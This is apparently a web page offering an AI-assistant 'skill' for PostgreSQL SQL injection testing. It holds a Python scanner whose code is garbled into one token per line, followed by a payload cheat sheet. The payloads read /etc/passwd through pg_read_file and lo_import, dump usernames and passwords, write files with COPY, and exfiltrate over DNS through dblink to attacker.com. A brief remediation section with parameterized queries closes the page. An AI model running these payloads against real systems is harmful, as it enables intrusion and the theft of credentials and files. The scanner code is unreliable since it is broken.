Instalar com Codex ou Claude Copie este prompt, cole no Codex, Claude ou outro assistente e deixe que ele revise a página da skill e instale para você.
Um comando direto ignora o prompt de revisão. Verifique a origem antes de executá-lo.
PostgreSQL-specific SQL injection testing exploits PostgreSQL's unique features including dollar-quoted strings, array operations, COPY command for file operations, and extension capabilities. PostgreSQL is common in modern web stacks and offers powerful features that can be exploited.
"' UNION SELECT pg_read_file('/etc/passwd',0,1000)--"
for
in
try
self
self
if
'root:'
in
print
f"[VULN] File read via pg_read_file!"
self
'type'
'PostgreSQL File Read'
'payload'
'severity'
'Critical'
return
True
except
as
pass
return
False
def
run_tests
self, param='id'
"""Run all PostgreSQL SQLi tests"""
if
self
self
self
self
self
def
generate_report
self
"""Generate findings report"""
print
"\n"
"="
60
print
"POSTGRESQL SQL INJECTION REPORT"
print
"="
60
if
not
self
print
"\nNo PostgreSQL SQLi vulnerabilities found."
else
for
in
self
print
f"\n[{f['severity']}] {f['type']}"
if
'payload'
in
print
f" Payload: {f['payload'][:70]}"
# Usage
"https://target.com/product"
'id'
Step 3: PostgreSQL Data Extraction
-- PostgreSQL VersionSELECT version()
-- Current UserSELECTcurrent_userSELECTuserSELECTsession_user-- Current DatabaseSELECT current_database()
-- List DatabasesSELECT datname FROM pg_database
-- List TablesSELECT tablename FROM pg_tables WHERE schemaname='public'SELECT table_name FROM information_schema.tables WHERE table_schema='public'-- List ColumnsSELECT column_name FROM information_schema.columns WHERE table_name='users'-- Extract DataSELECT username ||':'|| password FROM users
-- Read Files (requires superuser or pg_read_server_files)SELECT pg_read_file('/etc/passwd')
SELECT pg_read_file('/etc/passwd', 0, 1000)
-- Write Files (requires superuser or pg_write_server_files)COPY (SELECT'test') TO'/tmp/output.txt'-- Command Execution (requires extension)-- Load dblink extension: CREATE EXTENSION dblink;-- Load pg_execute_server_program extension-- Large Object for file operationsSELECT lo_import('/etc/passwd')
SELECT lo_get(loid) FROM pg_largeobject_metadata
-- DNS Exfiltration via dblinkSELECT*FROM dblink('host=attacker.com user='||current_user||' dbname=a', 'SELECT 1') RETURNS (i int)
Tools
Tool
Purpose
SQLMap
Automated PostgreSQL SQLi
psql
PostgreSQL client
pgAdmin
GUI client
Burp Suite
Manual testing
Remediation
# Python - psycopg2 parameterized queriesimport psycopg2
cursor = connection.cursor()
cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))
// Node.js - pg moduleconst { Pool } = require("pg")
const pool = newPool()
pool.query("SELECT * FROM users WHERE id = $1", [userId])